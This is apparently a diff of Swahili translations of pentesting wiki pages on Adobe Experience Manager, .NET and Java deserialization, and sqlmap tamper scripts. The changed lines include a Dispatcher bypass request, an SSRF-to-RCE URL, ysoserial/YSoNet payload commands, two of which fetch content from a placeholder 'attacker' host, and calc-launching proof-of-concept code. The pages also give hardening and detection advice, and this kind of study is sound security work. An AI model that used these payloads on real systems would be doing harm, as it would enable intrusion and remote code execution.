||||
|
@ -17,7 +17,7 @@ X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
Other quick indicators:
|
||||
* `/etc.clientlibs/` njia ya kudumu iliyopo (inarudisha JS/CSS).
|
||||
* `/etc.clientlibs/` njia ya kudumu inapatikana (inarudisha JS/CSS).
|
||||
* `/libs/granite/core/content/login.html` ukurasa wa kuingia wenye bendera ya “Adobe Experience Manager”.
|
||||
* `</script><!--/* CQ */-->` maoni chini ya HTML.
|
||||
|
||||
@ -27,16 +27,16 @@ Other quick indicators:
|
||||
|
||||
Path | Unachopata | Maelezo
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR nodes kupitia **DefaultGetServlet** | Mara nyingi imezuiwa, lakini *Dispatcher bypass* (ona hapa chini) inafanya kazi.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Leak ya mti wa ukurasa, njia za ndani, majina ya watumiaji.
|
||||
`/.json`, `/.1.json` | JCR nodes kupitia **DefaultGetServlet** | Mara nyingi imezuiwa, lakini *Dispatcher bypass* (angalia chini) inafanya kazi.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Kuvuja kwa mti wa ukurasa, njia za ndani, majina ya watumiaji.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix console | 403 kwa kawaida; ikiwa imefunuliwa & sifa zimepatikana ⇒ bundle-upload RCE.
|
||||
`/crx/packmgr/index.jsp` | Package Manager | Inaruhusu pakiti za maudhui zilizothibitishwa → kupakia mzigo wa JSP.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Console | Ikiwa imefunuliwa → utekelezaji wa Groovy / Java bila mipaka.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Kumbukumbu za ukaguzi | Ufunuo wa taarifa.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS vector.
|
||||
`/libs/cq/ui/content/dumplibs.html` | Mzigo wa ClientLibs | XSS vector.
|
||||
|
||||
### Njia ya kupita ya Dispatcher
|
||||
Sehemu nyingi za uzalishaji ziko nyuma ya *Dispatcher* (reverse-proxy). Kanuni zake za filtrering zinaweza kupitishwa kwa kuongeza kiambishi cha kudumu kilichoruhusiwa **baada ya alama ya semikolon au newline iliyosimbwa**:
|
||||
Tovuti nyingi za uzalishaji ziko nyuma ya *Dispatcher* (reverse-proxy). Kanuni zake za filtrering zinaweza kupitishwa kwa kuongeza kiambishi cha kudumu **baada ya alama ya semikolon au newline iliyosimbwa**:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
@ -87,18 +87,18 @@ Sasa omba `/content/evil.jsp` – JSP inafanya kazi na mtumiaji wa mchakato wa A
|
||||
|
||||
### 5.2 SSRF hadi RCE (historia < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` kutoka **aem-hacker** inafanya otomatiki mnyororo mzima. 【】
|
||||
`aem_ssrf2rce.py` kutoka **aem-hacker** inafanya mchakato mzima kiotomatiki. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Zana
|
||||
|
||||
* **aem-hacker** – skripti ya kuorodhesha ya Swiss-army, inasaidia bypass ya dispatcher, ugunduzi wa SSRF, ukaguzi wa default-creds na zaidi.
|
||||
* **aem-hacker** – skripti ya kuorodhesha ya Swiss-army, inasaidia kupita dispatcher, kugundua SSRF, ukaguzi wa default-creds na zaidi.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – omba kwa kurudiwa `/_jcr_content.(json|html)` kugundua vipengele vilivyofichwa.
|
||||
* **osgi-infect** – pakia bundle ya OSGi yenye uharibifu kupitia `/system/console/bundles` ikiwa creds zinapatikana.
|
||||
* **Content Brute-force** – omba kwa kurudiarudia `/_jcr_content.(json|html)` ili kugundua vipengele vilivyofichwa.
|
||||
* **osgi-infect** – pakia OSGi bundle hatari kupitia `/system/console/bundles` ikiwa akauti zinapatikana.
|
||||
|
||||
---
|
||||
|
||||
@ -106,7 +106,7 @@ python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
|
||||
1. Hifadhi mfano kwenye **pakiti ya huduma ya hivi karibuni** (kuanzia Julai 2025: 6.5.22).
|
||||
2. Ondoa/zungusha akaunti za default; tekeleza SSO/SAML.
|
||||
3. Imarisha **Dispatcher filters** – kataza `;`, mistari mipya iliyokodishwa, na `*.json` au `*.querybuilder.json` kwa watumiaji wasiojulikana.
|
||||
3. Imarisha **Dispatcher filters** – kataa `;`, mistari mipya iliyokodishwa, na `*.json` au `*.querybuilder.json` kwa watumiaji wasiojulikana.
|
||||
4. Zima au linda consoles (`/system/console`, `/crx/*`, `/etc/groovyconsole`) kwa orodha za ruhusa za IP.
|
||||
5. Tekeleza pakiti ya *Anonymous Permission Hardening* iliyotolewa na Adobe.
|
||||
|
||||
|
@ -12,7 +12,7 @@ Hivyo, **kitu** hicho kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeser
|
||||
|
||||
### **Jinsi hii inavyowezekana**
|
||||
|
||||
Namespace ya **System.Windows.Data**, iliyopatikana ndani ya **PresentationFramework.dll** katika `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, ndiko ambapo ObjectDataProvider imefafanuliwa na kutekelezwa.
|
||||
Namespace ya **System.Windows.Data**, inayopatikana ndani ya **PresentationFramework.dll** katika `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, ndiko ambapo ObjectDataProvider imefafanuliwa na kutekelezwa.
|
||||
|
||||
Kwa kutumia [**dnSpy**](https://github.com/0xd4d/dnSpy) unaweza **kuangalia msimbo** wa darasa tunalolipenda. Katika picha hapa chini tunaona msimbo wa **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Jina la njia**
|
||||
|
||||
@ -22,7 +22,7 @@ Kama unavyoona wakati `MethodName` imewekwa `base.Refresh()` inaitwa, hebu tuang
|
||||
|
||||
.png>)
|
||||
|
||||
Sawa, hebu tuendelee kuona `this.BeginQuery()` inafanya nini. `BeginQuery` imezuiliwa na `ObjectDataProvider` na hiki ndicho inachofanya:
|
||||
Sawa, hebu tuendelee kuona `this.BeginQuery()` inafanya nini. `BeginQuery` imezuiliwa na `ObjectDataProvider` na hii ndiyo inafanya:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -56,7 +56,7 @@ Kumbuka kwamba unahitaji kuongeza kama rejeleo _C:\Windows\Microsoft.NET\Framewo
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Kwa kutumia exploit iliyotangulia kutakuwa na kesi ambapo **kitu** kitakuwa **kimeondolewa** kama _**ObjectDataProvider**_ mfano (kwa mfano katika DotNetNuke vuln, kwa kutumia XmlSerializer, kitu kiliondolewa kwa kutumia `GetType`). Hivyo, hakutakuwa na **ufahamu wa aina ya kitu kilichofichwa** katika mfano wa _ObjectDataProvider_ (`Process` kwa mfano). Unaweza kupata zaidi [habari kuhusu DotNetNuke vuln hapa](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Kwa kutumia exploit iliyotangulia kutakuwa na kesi ambapo **kitu** kitakuwa **kimeondolewa** kama _**ObjectDataProvider**_ mfano (kwa mfano katika DotNetNuke vuln, kwa kutumia XmlSerializer, kitu kiliondolewa kwa kutumia `GetType`). Hivyo, hatutakuwa na **ufahamu wa aina ya kitu kilichofichwa** katika mfano wa _ObjectDataProvider_ (`Process` kwa mfano). Unaweza kupata zaidi [habari kuhusu DotNetNuke vuln hapa](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Darasa hili linaruhusu s**pecify aina za vitu vya vitu vilivyofichwa** katika mfano fulani. Hivyo, darasa hili linaweza kutumika kuficha kitu cha chanzo (_ObjectDataProvider_) ndani ya aina mpya ya kitu na kutoa mali tunazohitaji (_ObjectDataProvider.MethodName_ na _ObjectDataProvider.MethodParameters_).\
|
||||
Hii ni muhimu sana kwa kesi kama ile iliyowasilishwa hapo awali, kwa sababu tutakuwa na uwezo wa **kuficha \_ObjectDataProvider**_** ndani ya mfano wa **_**ExpandedWrapper** \_ na **wakati wa kuondolewa** darasa hili litaunda _**OjectDataProvider**_ kitu ambacho kitafanya **kazi** iliyoonyeshwa katika _**MethodName**_.
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
Katika msimbo huu unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa:
|
||||
Katika hii code unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -188,23 +188,23 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
|
||||
Teknolojia ya ObjectDataProvider + ExpandedWrapper iliyotambulishwa hapo juu ni moja tu ya MIFUMO MINGI ya gadget ambazo zinaweza kutumika vibaya wakati programu inafanya **deserialization isiyo salama ya .NET**. Zana za kisasa za red-team kama **[YSoNet](https://github.com/irsdl/ysonet)** (na ya zamani [ysoserial.net](https://github.com/pwntester/ysoserial.net)) zinaweza kuunda **grafu za vitu vya uhalifu zenye matumizi tayari** kwa mamia ya gadgets na muundo wa serialization.
|
||||
|
||||
Hapa chini kuna rejeleo lililokandamizwa la mnyororo wa gadgets wenye manufaa zaidi uliotolewa na *YSoNet* pamoja na maelezo ya haraka ya jinsi yanavyofanya kazi na amri za mfano za kuzalisha payloads.
|
||||
Hapa chini kuna rejeleo lililokandamizwa la mnyororo wa gadgets wenye manufaa zaidi uliotolewa na *YSoNet* pamoja na maelezo ya haraka ya jinsi zinavyofanya kazi na amri za mfano za kuzalisha payloads.
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Inaharibu rekodi ya `DelegateSerializationHolder` ili, mara itakapoundwa, delegate iwe inarejelea *yoyote* njia iliyotolewa na mshambuliaji (mfano `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **TypeConfuseDelegate** | Inaharibu rekodi ya `DelegateSerializationHolder` ili, mara tu inapokuwa na mwili, delegate ielekeze kwenye *yoyote* njia iliyotolewa na mshambuliaji (mfano `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Inatumia `System.Workflow.ComponentModel.ActivitySurrogateSelector` ili *kuepuka uainishaji wa aina za .NET ≥4.8* na moja kwa moja kuita **kijenga** cha darasa lililotolewa au **kuandika** faili ya C# papo hapo | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Inatumia uwakilishi wa **XML wa zamani** wa `System.Data.DataSet` ili kuunda aina zisizo na mipaka kwa kujaza maeneo ya `<ColumnMapping>` / `<DataType>` (kwa hiari ikifanya uongo wa assembly kwa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Katika mazingira ya WPF (> .NET 5) inafunga getters za mali hadi kufikia `System.CodeDom.Compiler.CompilerResults`, kisha *inaandika* au *inaongeza* DLL iliyotolewa na `-c` | `Json.NET` isiyo na aina, `MessagePack` isiyo na aina | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **DataSetOldBehaviour** | Inatumia **uwakilishi wa zamani wa XML** wa `System.Data.DataSet` ili kuunda aina zisizo na mipaka kwa kujaza maeneo ya `<ColumnMapping>` / `<DataType>` (kwa hiari ikifanya uongo wa assembly kwa `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Katika mazingira ya WPF (> .NET 5) inachanganya wapokeaji wa mali hadi kufikia `System.CodeDom.Compiler.CompilerResults`, kisha *inaandika* au *inaongeza* DLL iliyotolewa na `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (review) | Inatumia WPF `System.Windows.Data.ObjectDataProvider` kuita njia isiyo na mipaka ya static kwa hoja zilizo na udhibiti. YSoNet inaongeza toleo la `--xamlurl` la urahisi kuhost XAML mbaya kwa mbali | `BinaryFormatter`, `Json.NET`, `XAML`, *n.k.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Inajumuisha `ScriptBlock` ndani ya `System.Management.Automation.PSObject` inayotekelezwa wakati PowerShell inafanya deserialization ya kitu | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Payload zote zina **andikwa kwenye *stdout*** kwa chaguo-msingi, na kufanya iwe rahisi kuzituma kwenye zana nyingine (mfano: ViewState generators, base64 encoders, HTTP clients).
|
||||
> Payload zote zina **andikwa kwenye *stdout*** kwa chaguo-msingi, na kufanya iwe rahisi kuzipitisha kwenye zana nyingine (mfano: ViewState generators, base64 encoders, HTTP clients).
|
||||
|
||||
### Building / Installing YSoNet
|
||||
|
||||
Ikiwa hakuna binaries zilizotengenezwa kabla zinapatikana chini ya *Actions ➜ Artifacts* / *Releases*, amri ifuatayo ya **PowerShell** itaunda mazingira ya kujenga, kunakili hifadhi na kuandika kila kitu katika *Release* mode:
|
||||
Ikiwa hakuna binaries zilizotengenezwa awali zinapatikana chini ya *Actions ➜ Artifacts* / *Releases*, amri ifuatayo ya **PowerShell** itaunda mazingira ya kujenga, kunakili hifadhi na kuunda kila kitu katika *Release* mode:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -216,10 +216,10 @@ cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
|
||||
The compiled `ysonet.exe` inaweza kupatikana chini ya `ysonet/bin/Release/`.
|
||||
|
||||
### Detection & Hardening
|
||||
* **Gundua** mchakato wa mtoto usiotarajiwa wa `w3wp.exe`, `PowerShell.exe`, au mchakato wowote unaofanya deserialization ya data iliyotolewa na mtumiaji (kwa mfano, `MessagePack`, `Json.NET`).
|
||||
* **Gundua** michakato ya watoto isiyotarajiwa ya `w3wp.exe`, `PowerShell.exe`, au mchakato wowote unaofanya deserialization ya data iliyotolewa na mtumiaji (mfano `MessagePack`, `Json.NET`).
|
||||
* Wezesha na **lazimisha uchujaji wa aina** (`TypeFilterLevel` = *Full*, `SurrogateSelector` ya kawaida, `SerializationBinder`, *n.k.*) kila wakati `BinaryFormatter` / `NetDataContractSerializer` ya zamani haiwezi kuondolewa.
|
||||
* Pale inapowezekana hamasisha **`System.Text.Json`** au **`DataContractJsonSerializer`** na converters za msingi wa orodha nyeupe.
|
||||
* Zuia maktaba hatari za WPF (`PresentationFramework`, `System.Workflow.*`) zisipakuliwe katika michakato ya wavuti ambazo hazipaswi kuzihitaji kamwe.
|
||||
|
@ -10,18 +10,18 @@ Interface ya Java `Serializable` (`java.io.Serializable`) ni interface ya alama
|
||||
|
||||
### Kumbusho: Ni mbinu zipi zinazoitwa kimya kimya wakati wa deserialization?
|
||||
|
||||
1. `readObject()` – mantiki ya kusoma maalum kwa darasa (ikiwa imeandikwa na *binafsi*).
|
||||
1. `readObject()` – mantiki maalum ya kusoma ya darasa (ikiwa imeandikwa na *binafsi*).
|
||||
2. `readResolve()` – inaweza kubadilisha kitu kilichodeserialized na kingine.
|
||||
3. `validateObject()` – kupitia `ObjectInputValidation` callbacks.
|
||||
4. `readExternal()` – kwa madarasa yanayotekeleza `Externalizable`.
|
||||
5. Waandishi hawatekelezwi – kwa hivyo mnyororo wa gadget unategemea pekee callbacks za awali.
|
||||
|
||||
Mbinu yoyote katika mnyororo huo inayomaliza kwa kuita data inayodhibitiwa na mshambuliaji (utendaji wa amri, utafutaji wa JNDI, reflection, nk.) inageuza utaratibu wa deserialization kuwa gadget ya RCE.
|
||||
Mbinu yoyote katika mnyororo huo inayomalizika kwa kuita data inayodhibitiwa na mshambuliaji (utendaji wa amri, utafutaji wa JNDI, reflection, nk.) inageuza utaratibu wa deserialization kuwa gadget ya RCE.
|
||||
|
||||
Hebu tuone mfano na **darasa la Person** ambalo ni **serializable**. Darasa hili **linandika upya** kazi ya readObject, hivyo wakati **kitu chochote** cha **darasa hili** kinapokuwa **deserialized** kazi hii itatekelezwa.\
|
||||
Katika mfano, kazi ya **readObject** ya darasa la Person inaita kazi `eat()` ya mnyama wake na kazi `eat()` ya Mbwa (kwa sababu fulani) inaita **calc.exe**. **Tutashuhudia jinsi ya kuandika na kusoma kitu cha Person ili kutekeleza kalkuleta hii:**
|
||||
|
||||
**Mfano ufuatao unatoka <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||||
**Mfano ufuatao umetolewa kutoka <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649>**
|
||||
```java
|
||||
import java.io.Serializable;
|
||||
import java.io.*;
|
||||
@ -94,19 +94,19 @@ payloadTest("test.ser");
|
||||
```
|
||||
### Hitimisho (hali ya kawaida)
|
||||
|
||||
Kama unavyoona katika mfano huu wa msingi, “udhaifu” hapa unatokea kwa sababu ya **method ya readObject()** **kuita nambari nyingine inayodhibitiwa na mshambuliaji**. Katika mnyororo wa vifaa wa ulimwengu halisi, maelfu ya madarasa yaliyomo katika maktaba za nje (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, nk.) yanaweza kutumika vibaya – mshambuliaji anahitaji tu *moja* ya vifaa vinavyoweza kufikiwa ili kupata utekelezaji wa nambari.
|
||||
Kama unavyoona katika mfano huu wa msingi, “udhaifu” hapa unatokea kwa sababu ya **metode ya readObject()** **kuita msimbo mwingine unaodhibitiwa na mshambuliaji**. Katika mnyororo wa vifaa wa ulimwengu halisi, maelfu ya madarasa yaliyomo katika maktaba za nje (Commons-Collections, Spring, Groovy, Rome, SnakeYAML, nk.) yanaweza kutumika vibaya – mshambuliaji anahitaji tu *moja* ya vifaa vinavyoweza kufikiwa ili kupata utekelezaji wa msimbo.
|
||||
|
||||
---
|
||||
|
||||
## 2023-2025: Nini kipya katika mashambulizi ya deserialization ya Java?
|
||||
|
||||
* 2023 – CVE-2023-34040: Deserialization ya vichwa vya rekodi za makosa ya Spring-Kafka wakati bendera za `checkDeserExWhen*` zimewezeshwa ziliruhusu ujenzi wa vifaa vya kiholela kutoka kwa mada zilizochapishwa na mshambuliaji. Imerekebishwa katika 3.0.10 / 2.9.11. ¹
|
||||
* 2023 – CVE-2023-36480: Dhana ya mteja wa Java wa Aerospike ya seva inayotegemewa imevunjwa – majibu ya seva yenye uharibifu yalikuwa na mzigo wa serialized ambao ulitafsiriwa na mteja → RCE. ²
|
||||
* 2023 – CVE-2023-25581: Ufafanuzi wa sifa za wasifu wa mtumiaji wa `pac4j-core` ulikubali blobs za Base64 zilizo na `{#sb64}` na kuziunda licha ya `RestrictedObjectInputStream`. Sasisha ≥ 4.0.0.
|
||||
* 2023 – CVE-2023-34040: Deserialization ya vichwa vya rekodi za makosa ya Spring-Kafka wakati bendera za `checkDeserExWhen*` zimewezeshwa ziliruhusu ujenzi wa vifaa vya kiholela kutoka kwa mada zilizochapishwa na mshambuliaji. Imefanyiwa marekebisho katika 3.0.10 / 2.9.11. ¹
|
||||
* 2023 – CVE-2023-36480: Dhana ya mteja wa Java wa Aerospike ya seva inayotegemewa imevunjwa – majibu ya seva yenye uharibifu yalikuwa na mizigo iliyosimbwa ambayo ilitafsiriwa na mteja → RCE. ²
|
||||
* 2023 – CVE-2023-25581: Uchanganuzi wa sifa za wasifu wa mtumiaji wa `pac4j-core` ulikubali blobs za Base64 zilizo na `{#sb64}` na kuziunda licha ya `RestrictedObjectInputStream`. Sasisha ≥ 4.0.0.
|
||||
* 2023 – CVE-2023-4528: Huduma ya JSCAPE MFT Manager (bandari 10880) ilikubali vitu vya Java vilivyoandikwa kwa XML vinavyosababisha RCE kama root/SYSTEM.
|
||||
* 2024 – Mnyororo mpya wa vifaa kadhaa uliongezwa kwa ysoserial-plus(mod) ikiwa ni pamoja na madarasa ya Hibernate5, TomcatEmbed, na SnakeYAML 2.x ambayo yanapita baadhi ya filters za zamani.
|
||||
* 2024 – Mnyororo mpya wa vifaa vingi uliongezwa kwa ysoserial-plus(mod) ikiwa ni pamoja na madarasa ya Hibernate5, TomcatEmbed, na SnakeYAML 2.x ambayo yanapita baadhi ya filters za zamani.
|
||||
|
||||
## Kinga za kisasa unazopaswa kutekeleza
|
||||
## Kinga za kisasa unazopaswa kutumia
|
||||
|
||||
1. **JEP 290 / Ufiltraji wa Serialization (Java 9+)**
|
||||
*Ongeza orodha ya ruhusa au orodha ya kukataa ya madarasa:*
|
||||
@ -119,8 +119,8 @@ Mfano wa programu:
|
||||
var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/*;!*" );
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) Kiwanda Maalum cha Filters** – tumia `BinaryOperator<ObjectInputFilter>` kutekeleza filters tofauti kwa kila muktadha wa utekelezaji (kwa mfano, kwa kila wito wa RMI, kwa kila mtumiaji wa foleni ya ujumbe).
|
||||
3. **Usifichue `ObjectInputStream` mbichi kwenye mtandao** – pendelea uandishi wa JSON/Binary bila maana ya utekelezaji wa nambari (Jackson baada ya kuzima `DefaultTyping`, Protobuf, Avro, nk.).
|
||||
2. **JEP 415 (Java 17+) Kiwanda maalum cha Filters** – tumia `BinaryOperator<ObjectInputFilter>` kutekeleza filters tofauti kwa kila muktadha wa utekelezaji (mfano, kwa kila wito wa RMI, kwa kila mtumiaji wa foleni ya ujumbe).
|
||||
3. **Usifichue `ObjectInputStream` mbichi kwenye mtandao** – pendelea uandishi wa JSON/Binary bila maana za utekelezaji wa msimbo (Jackson baada ya kuzima `DefaultTyping`, Protobuf, Avro, nk.).
|
||||
4. **Mipaka ya Ulinzi wa Kina** – Weka urefu wa juu wa array, kina, marejeleo:
|
||||
```bash
|
||||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||||
@ -134,17 +134,17 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
```
|
||||
* `marshalsec` – bado ni rejeleo kwa uzalishaji wa vifaa vya JNDI (LDAP/RMI).
|
||||
* `gadget-probe` – ugunduzi wa haraka wa vifaa vya black-box dhidi ya huduma za mtandao.
|
||||
* `SerialSniffer` – wakala wa JVMTI unaochapisha kila darasa lilosomwa na `ObjectInputStream` (linafaida katika kuunda filters).
|
||||
* `gadget-probe` – ugunduzi wa haraka wa vifaa vya sanduku jeusi dhidi ya huduma za mtandao.
|
||||
* `SerialSniffer` – wakala wa JVMTI unaochapisha kila darasa lilosomwa na `ObjectInputStream` (inayofaa kutengeneza filters).
|
||||
* **Ushauri wa kugundua** – wezesha `-Djdk.serialDebug=true` (JDK 22+) ili kuandika maamuzi ya filter na madarasa yaliyokataliwa.
|
||||
|
||||
## Orodha ya haraka ya ukaguzi kwa utekelezaji salama wa `readObject()`
|
||||
|
||||
1. Fanya method iwe `private` na ongeza annotation ya `@Serial` (inasaidia uchambuzi wa statiki).
|
||||
2. Kamwe usiite mbinu zinazotolewa na mtumiaji au ufanye I/O katika method – soma tu maeneo.
|
||||
1. Fanya njia hiyo kuwa `private` na ongeza annotation ya `@Serial` (inasaidia uchambuzi wa statiki).
|
||||
2. Kamwe usiite mbinu zinazotolewa na mtumiaji au ufanye I/O katika njia hiyo – soma tu maeneo.
|
||||
3. Ikiwa uthibitisho unahitajika, fanya baada ya deserialization, nje ya `readObject()`.
|
||||
4. Pendelea kutekeleza `Externalizable` na fanya usomaji wa maeneo wazi badala ya serialization ya kawaida.
|
||||
5. Jisajili `ObjectInputFilter` iliyoimarishwa hata kwa huduma za ndani (muundo unaostahimili kuathiriwa).
|
||||
4. Pendelea kutekeleza `Externalizable` na ufanye usomaji wa maeneo wazi badala ya serialization ya kawaida.
|
||||
5. Sajili `ObjectInputFilter` iliyoimarishwa hata kwa huduma za ndani (muundo unaostahimili kuathiriwa).
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
@ -23,17 +23,16 @@
|
||||
```
|
||||
### Technique flags (`--technique`)
|
||||
|
||||
The `--technique` argument defines which SQL injection methods sqlmap will attempt.
|
||||
Each character in the string represents a technique:
|
||||
The `--technique` argument defines which SQL injection methods sqlmap will attempt. Each character in the string represents a technique:
|
||||
|
||||
| Letter | Technique | Description |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Inatumia hali za kweli/false kufafanua data |
|
||||
| B | Boolean-based blind | Inatumia hali za kweli/false kudhani data |
|
||||
| E | Error-based | Inatumia ujumbe wa makosa wa DBMS wenye maelezo mengi ili kutoa matokeo |
|
||||
| U | UNION query | Inajumuisha taarifa za `UNION SELECT` ili kupata data kupitia channel ile ile |
|
||||
| S | Stacked queries | Inaongeza taarifa za ziada zilizotengwa na `;` |
|
||||
| U | UNION query | Inajumuisha taarifa za `UNION SELECT` ili kupata data kupitia njia ile ile |
|
||||
| S | Stacked queries | Inaongeza taarifa za ziada zilizotenganishwa na `;` |
|
||||
| T | Time-based blind | Inategemea ucheleweshaji (`SLEEP`, `WAITFOR`) kugundua injection |
|
||||
| Q | Inline / out-of-band | Inatumia kazi kama `LOAD_FILE()` au channels za OOB kama DNS |
|
||||
| Q | Inline / out-of-band | Inatumia kazi kama `LOAD_FILE()` au njia za OOB kama DNS |
|
||||
|
||||
Default order is `BEUSTQ`. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:
|
||||
```bash
|
||||
@ -137,48 +136,48 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Hubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili |
|
||||
| apostrophenullencode.py | Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode |
|
||||
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyokodishwa mwishoni mwa payload |
|
||||
| base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64 |
|
||||
| between.py | Hubadilisha opereta kubwa zaidi \('>'\) na 'SIO KATI YA 0 NA \#' |
|
||||
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya random. Kisha hubadilisha herufi = na opereta LIKE |
|
||||
| chardoubleencode.py | Hubadilisha herufi zote kwa njia ya url-encode mara mbili katika payload iliyotolewa \(sio kusindika iliyokodishwa tayari\) |
|
||||
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload |
|
||||
| base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64 |
|
||||
| between.py | Hubadilisha opereta ya zaidi ya \('>'\) na 'SIO KATI YA 0 NA \#' |
|
||||
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL kuwa herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE |
|
||||
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) |
|
||||
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Hubadilisha matukio kama 'MID\(A, B, C\)' na 'MID\(A KUTOKA B KWA C\)' |
|
||||
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT\(A, B\)' na 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa url-encoded \(sio kusindika iliyokodishwa tayari\) |
|
||||
| charunicodeencode.py | Hubadilisha herufi zisizokodishwa katika payload iliyotolewa kuwa unicode-url-encoded \(sio kusindika iliyokodishwa tayari\). "%u0022" |
|
||||
| charunicodeescape.py | Hubadilisha herufi zisizokodishwa katika payload iliyotolewa kuwa unicode-url-encoded \(sio kusindika iliyokodishwa tayari\). "\u0022" |
|
||||
| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) |
|
||||
